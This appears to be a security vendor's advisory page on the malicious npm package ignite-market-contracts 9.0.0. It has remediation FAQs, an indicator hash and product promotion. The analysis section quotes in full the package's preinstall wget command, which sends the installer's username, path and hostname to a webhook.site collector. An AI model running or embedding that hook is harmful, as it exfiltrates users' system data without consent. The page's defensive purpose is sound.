Which versions of ignite-market-contracts are malicious?

The following npm versions of ignite-market-contracts are flagged malicious: 9.0.0. Treat any of these as compromised.

How do I remediate ignite-market-contracts if I installed it?

ignite-market-contracts establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.

I already installed ignite-market-contracts — how do I know if it already compromised me?

If ignite-market-contracts was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is ignite-market-contracts part of a known attack campaign?

Yes — ignite-market-contracts is associated with the IN-MAL-2026-004100 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find ignite-market-contracts across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for ignite-market-contracts (version 9.0.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging ignite-market-contracts across your stack and pipelines.

Malicious package

ignite-market-contractsnpm

Malicious code in ignite-market-contracts (npm) Remove it immediately and rotate any exposed credentials.

MAL-2026-4582

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall ignite-market-contracts

What this malware does

The package's preinstall lifecycle hook in package.json runs wget --quiet "https://webhook.site/64063d25-fcd3-44e5-a454-34845bc63250/?user=$(whoami)&path=$(pwd)&hostname=$(hostname)", which fires automatically on npm install and transmits the installer's username, current working directory, and hostname to a third-party anonymous webhook collector. This is a recon beacon characteristic of dependency-confusion attacks: the installer-identifying data is sent to an attacker-controlled endpoint without consent. The package additionally has placeholder metadata (author 'me', empty description), a name that resembles legitimate marketplace/seaport contract packages, and declares a non-canonical dependency seaport-core-16 — all consistent with a dependency-confusion PoC or active recon stage targeting internal package namespaces.

Malicious versions

1 flagged

9.0.0

Indicators of compromise (SHA-256)

3632f7802511e2852d33925ab4d8612fe588de1f8a1d832011cd3588d23f62bc

Detection & response playbook

Backdoor / remote access

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for ignite-market-contracts (version 9.0.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging ignite-market-contracts across your stack and pipelines.
If you installed it — respond
ignite-market-contracts establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.
Did it already run?
If ignite-market-contracts was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks ignite-market-contracts before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. ignite-market-contracts on npm has been identified as a malicious package (version 9.0.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-004100

References

npmjs.com

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks ignite-market-contracts-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the C2 callback and severs the channel.

Malware detection Runtime egress monitoring